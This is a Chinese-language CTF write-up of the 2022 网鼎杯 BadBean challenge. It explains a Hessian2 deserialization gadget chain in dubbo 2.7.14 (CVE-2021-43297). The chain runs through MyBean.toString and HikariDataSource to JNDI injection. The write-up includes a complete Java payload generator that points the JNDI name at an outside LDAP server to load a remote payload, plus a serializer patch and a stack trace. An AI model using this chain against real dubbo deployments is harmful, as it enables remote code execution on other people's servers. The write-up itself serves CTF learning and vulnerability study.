目录

网鼎杯2022 BadBean Hessian2反序列化

目录

com.ctf.badbean.bean.MyBean#toString可以触发getter

https://y4er.com/img/uploads/wangdingbei-badbean-hessian2/1.png

所以要找一个触发tostring的,给的版本是dubbo-2.7.14.jar,这个版本有一个任意tostring调用CVE-2021-43297 见https://paper.seebug.org/1814/

原理是在com.alibaba.com.caucho.hessian.io.Hessian2Input#expect有一处tostring调用

https://y4er.com/img/uploads/wangdingbei-badbean-hessian2/2.png

对象和string拼接触发tostring,那么可以用这个来触发mybean的tostring。

com.alibaba.com.caucho.hessian.io.Hessian2Input#readString()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public String readString() throws IOException {
    int tag = this.read();
    int ch;
    switch(tag) {
    case 0:
    case 1:
    case 2:
    case 3:
...
    case 31:
        this._isLastChunk = true;
        this._chunkLength = tag - 0;
        this._sbuf.setLength(0);

        while((ch = this.parseChar()) >= 0) {
            this._sbuf.append((char)ch);
        }

        return this._sbuf.toString();
    case 32:
    case 33:
    ...
    case 67:
    ...
    case 127:
    default:
        throw this.expect("string", tag);
    case 48:
    case 49:
    case 50:
    ...
    case 253:
    case 254:
    case 255:
        return String.valueOf((tag - 248 << 8) + this.read());
    }
}

如果读到的tag不满足case,那么调用this.expect("string", tag);

https://y4er.com/img/uploads/wangdingbei-badbean-hessian2/3.png

在上图中,左边case2之后走了default,而右边case6没有走default,也就是说,我们只需要让tag走到default上没有条件的case即可。这里先取67,而不取别的值呢?

com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.util.List<java.lang.Class<?>>)先拿到tag为67,进入case

1
2
3
case 67:
    this.readObjectDefinition((Class)null);
    return this.readObject();

readObjectDefinition调用readString

https://y4er.com/img/uploads/wangdingbei-badbean-hessian2/4.png

此时tag仍为67

https://y4er.com/img/uploads/wangdingbei-badbean-hessian2/5.png

而67会进入default throw this.expect("string", tag);中触发tostring。

也就是说,67满足了两个条件

  1. Hessian2Input#readObject中可以走到readString
  2. 在readString可以进入this.expect("string", tag)

所以这个67的值取得很巧妙。

接下来我们需要重写writeString函数对应readString,自定义序列化流程来赋予67属性。

https://y4er.com/img/uploads/wangdingbei-badbean-hessian2/6.png

然后写payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.ctf.badbean.main;

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.zaxxer.hikari.HikariDataSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HikariDataSource ds = new HikariDataSource();
        ds.setPoolName("pool");
        ds.setDataSourceJNDI("ldap://1.1.1.1:1389/TomcatBypass/TomcatEcho/1");
        Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
        Object o = new com.ctf.badbean.bean.MyBean("", "", ds, com.zaxxer.hikari.HikariDataSource.class);
        out.writeString("aaa");
        out.writeObject(o);
        out.flushBuffer();
        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
        Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray())));
        hessian2Input.readObject();
    }
}

通过writeString写一个aaa进去来赋予67属性。然后用mybean的tostring触发HikariDataSource的getConnection触发jndi注入,完整堆栈如下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
lookup:417, InitialContext (javax.naming)
initializeDataSource:328, PoolBase (com.zaxxer.hikari.pool)
<init>:114, PoolBase (com.zaxxer.hikari.pool)
<init>:105, HikariPool (com.zaxxer.hikari.pool)
getConnection:97, HikariDataSource (com.zaxxer.hikari)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:34, MyBean (com.ctf.badbean.bean)
valueOf:2994, String (java.lang)
append:137, StringBuilder (java.lang)
expect:3566, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObjectDefinition:2824, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2745, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)
main:27, Main (com.ctf.badbean.main)

另外序列化时会报HikariDataSource没有实现Serializable接口的错误,直接重写com.alibaba.com.caucho.hessian.io.SerializerFactory#getDefaultSerializer加上一行

https://y4er.com/img/uploads/wangdingbei-badbean-hessian2/7.png

本机校验罢了,神奇,over。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。